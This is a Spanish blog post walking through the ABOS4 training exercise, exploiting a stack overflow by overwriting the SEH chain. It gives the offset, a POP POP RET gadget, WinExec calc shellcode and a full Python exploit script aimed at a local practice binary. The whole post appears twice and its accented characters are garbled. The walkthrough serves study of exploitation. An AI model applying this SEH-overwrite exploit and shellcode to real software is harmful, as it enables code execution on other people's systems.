Buenas de nuevo,
Esta entrada es la continuaci贸n de la resoluci贸n del ABOS4, visto en la entrada anterior. En este caso, lo haremos machacando la cadena SEH.
Como tenemos una idea de como estaba compuesto el binario anterior, aqu铆 nos vamos a centrar en la construcci贸n del exploit.
Sabemos que debido a la caracter铆stica del SEH en x86, cuando se produce una excepci贸n se lanza el manejador de excepciones, y este est谩 compuesto por 2 campos:
Primer paso que debemos hacer, es provocar una excepci贸n en el primer gets() para ello vamos a generar una cadena "pseudoaleatoria" de un tama帽o enorme hasta provocar la excepci贸n.
Con x32Dbg vamos a ver la direcci贸n que hemos machacado en el SEH chain y as铆 sacaremos el tama帽o de relleno que tenemos que introducir para machacar el controlador de excepciones:
Para construir el exploit usaremos python, ya que es mas sencillo su uso:
random_string = ''.join(random.choices(string.ascii_uppercase + string.digits, k = 3000)) #Generamos cadena gigante pseudoaleatoria, para sobrescribir la direcci贸n que gestiona el SEH.
Miramos con x32Dbg la direcci贸n que se ha machacado y vemos que hay una distacia de 316 bytes entre la posici贸n de la variable var_a_machacar que pasamos como par谩metro al gets() y el next_seh.
Por lo tanto ya sabemos que hasta machacar el SEH tenemos que introducir por el gets() 316 valores.
payload = 316 * b'A' + Dir_nextSEH+ Dir_SEHhandle ....
Por las caracter铆sticas de SEH en x86, hemos visto que la cuando entramos en el c贸digo de gesti贸n de la excepci贸n, la direcci贸n del pr贸ximo SEH se encuentra 3 posiciones mas abajo en la pila. Por lo que si tenemos en nuestro ejecutable las instrucciones POP X + POP X + RET --> podremos saltar a ejecutar la direcci贸n indicada en Dir_nextSEH.
Localizamos en la direcci贸n 0x00401F2D, la secuencia de las instrucciones pop, pop y ret. por lo tanto, esa sera la direcci贸n que pondremos en Dir_SEHhandle y esto har谩 que ejecutemos lo que pongamos en la direcci贸n Dir_nextSEH que en nuestro caso sera:
0x90 --> NOP
0x90 --> NOP
0xEB06 --> Salto a los 6 bytes mas abajo, para saltar los 2 bytes de 0xeb06 y los 4 bytes de Dir_SEHhandle (0x00401F2D) y empezara as铆 a ejecutar la shellcode que pongamos a continuaci贸n que esta detallada en una de las entradas anteriores del blog.
Por lo tanto nuestro exploit quedar铆a de la siguiente manera escrito en python:
from subprocess import Popen, PIPE
import struct
import random
import string
#Creamos el PAYLOAD
payload = 316 * b'A' #--> Relleno inicial para llegar a la direccion del SEH
payload += b'\xeb\x06\x90\x90' # --> Direcci贸n del proximo SEH
payload += struct.pack ('<I', 0x00401F2D) # --> Direcci贸n donde encontramos el POP POP RET
winexec_calc_shellcode =b'\x33\xd2\x52\x68\x63\x61\x6c\x63\x89\xe6\x52\x56\x64\x8b\x72\x30\x8b\x76\x0c\x8b\x76\x0c\xad\x8b\x30\x8b\x7e\x18\x8b\x5f\x3c\x8b\x5c\x1f\x78\x8b\x74\x1f\x20\x01\xfe\x8b\x4c\x1f\x24\x01\xf9\x0f\xb7\x2c\x51\x42\xad\x81\x3c\x07\x57\x69\x6e\x45\x75\xf1\x8b\x74\x1f\x1c\x01\xfe\x03\x3c\xae\xff\xd7'
aniadimos_exit = b'\x68\x33\x12\x40\x00\xC3' #--> PUSH 0x00401233 + RET (exit())
payload += winexec_calc_shellcode
payload += aniadimos_exit
payload += b'A' * 3000 --> Provocamos la excepci贸n.
#Lanzamos el payload creado:
p1 = Popen(r"C:\Users\juan\Desktop\Curso_Reversing_freeTools\ejercicios\Ejercicios\ABOS\ABO4_VS_2017.exe", stdin=PIPE)
print ("PID: %s" % hex(p1.pid))
print ("Enter para continuar")
p1.communicate(payload)
p1.wait()
input()
Un saludo
Esta entrada es la continuaci贸n de la resoluci贸n del ABOS4, visto en la entrada anterior. En este caso, lo haremos machacando la cadena SEH.
Como tenemos una idea de como estaba compuesto el binario anterior, aqu铆 nos vamos a centrar en la construcci贸n del exploit.
Sabemos que debido a la caracter铆stica del SEH en x86, cuando se produce una excepci贸n se lanza el manejador de excepciones, y este est谩 compuesto por 2 campos:
- Direcci贸n del siguiente SEH
- Direcci贸n que se encarga de gestionar la excepci贸n.
Primer paso que debemos hacer, es provocar una excepci贸n en el primer gets() para ello vamos a generar una cadena "pseudoaleatoria" de un tama帽o enorme hasta provocar la excepci贸n.
Con x32Dbg vamos a ver la direcci贸n que hemos machacado en el SEH chain y as铆 sacaremos el tama帽o de relleno que tenemos que introducir para machacar el controlador de excepciones:
Para construir el exploit usaremos python, ya que es mas sencillo su uso:
random_string = ''.join(random.choices(string.ascii_uppercase + string.digits, k = 3000)) #Generamos cadena gigante pseudoaleatoria, para sobrescribir la direcci贸n que gestiona el SEH.
Miramos con x32Dbg la direcci贸n que se ha machacado y vemos que hay una distacia de 316 bytes entre la posici贸n de la variable var_a_machacar que pasamos como par谩metro al gets() y el next_seh.
Por lo tanto ya sabemos que hasta machacar el SEH tenemos que introducir por el gets() 316 valores.
payload = 316 * b'A' + Dir_nextSEH+ Dir_SEHhandle ....
Por las caracter铆sticas de SEH en x86, hemos visto que la cuando entramos en el c贸digo de gesti贸n de la excepci贸n, la direcci贸n del pr贸ximo SEH se encuentra 3 posiciones mas abajo en la pila. Por lo que si tenemos en nuestro ejecutable las instrucciones POP X + POP X + RET --> podremos saltar a ejecutar la direcci贸n indicada en Dir_nextSEH.
Localizamos en la direcci贸n 0x00401F2D, la secuencia de las instrucciones pop, pop y ret. por lo tanto, esa sera la direcci贸n que pondremos en Dir_SEHhandle y esto har谩 que ejecutemos lo que pongamos en la direcci贸n Dir_nextSEH que en nuestro caso sera:
0x90 --> NOP
0x90 --> NOP
0xEB06 --> Salto a los 6 bytes mas abajo, para saltar los 2 bytes de 0xeb06 y los 4 bytes de Dir_SEHhandle (0x00401F2D) y empezara as铆 a ejecutar la shellcode que pongamos a continuaci贸n que esta detallada en una de las entradas anteriores del blog.
Por lo tanto nuestro exploit quedar铆a de la siguiente manera escrito en python:
from subprocess import Popen, PIPE
import struct
import random
import string
#Creamos el PAYLOAD
payload = 316 * b'A' #--> Relleno inicial para llegar a la direccion del SEH
payload += b'\xeb\x06\x90\x90' # --> Direcci贸n del proximo SEH
payload += struct.pack ('<I', 0x00401F2D) # --> Direcci贸n donde encontramos el POP POP RET
winexec_calc_shellcode =b'\x33\xd2\x52\x68\x63\x61\x6c\x63\x89\xe6\x52\x56\x64\x8b\x72\x30\x8b\x76\x0c\x8b\x76\x0c\xad\x8b\x30\x8b\x7e\x18\x8b\x5f\x3c\x8b\x5c\x1f\x78\x8b\x74\x1f\x20\x01\xfe\x8b\x4c\x1f\x24\x01\xf9\x0f\xb7\x2c\x51\x42\xad\x81\x3c\x07\x57\x69\x6e\x45\x75\xf1\x8b\x74\x1f\x1c\x01\xfe\x03\x3c\xae\xff\xd7'
aniadimos_exit = b'\x68\x33\x12\x40\x00\xC3' #--> PUSH 0x00401233 + RET (exit())
payload += winexec_calc_shellcode
payload += aniadimos_exit
payload += b'A' * 3000 --> Provocamos la excepci贸n.
#Lanzamos el payload creado:
p1 = Popen(r"C:\Users\juan\Desktop\Curso_Reversing_freeTools\ejercicios\Ejercicios\ABOS\ABO4_VS_2017.exe", stdin=PIPE)
print ("PID: %s" % hex(p1.pid))
print ("Enter para continuar")
p1.communicate(payload)
p1.wait()
input()
Un saludo
Comentarios
Publicar un comentario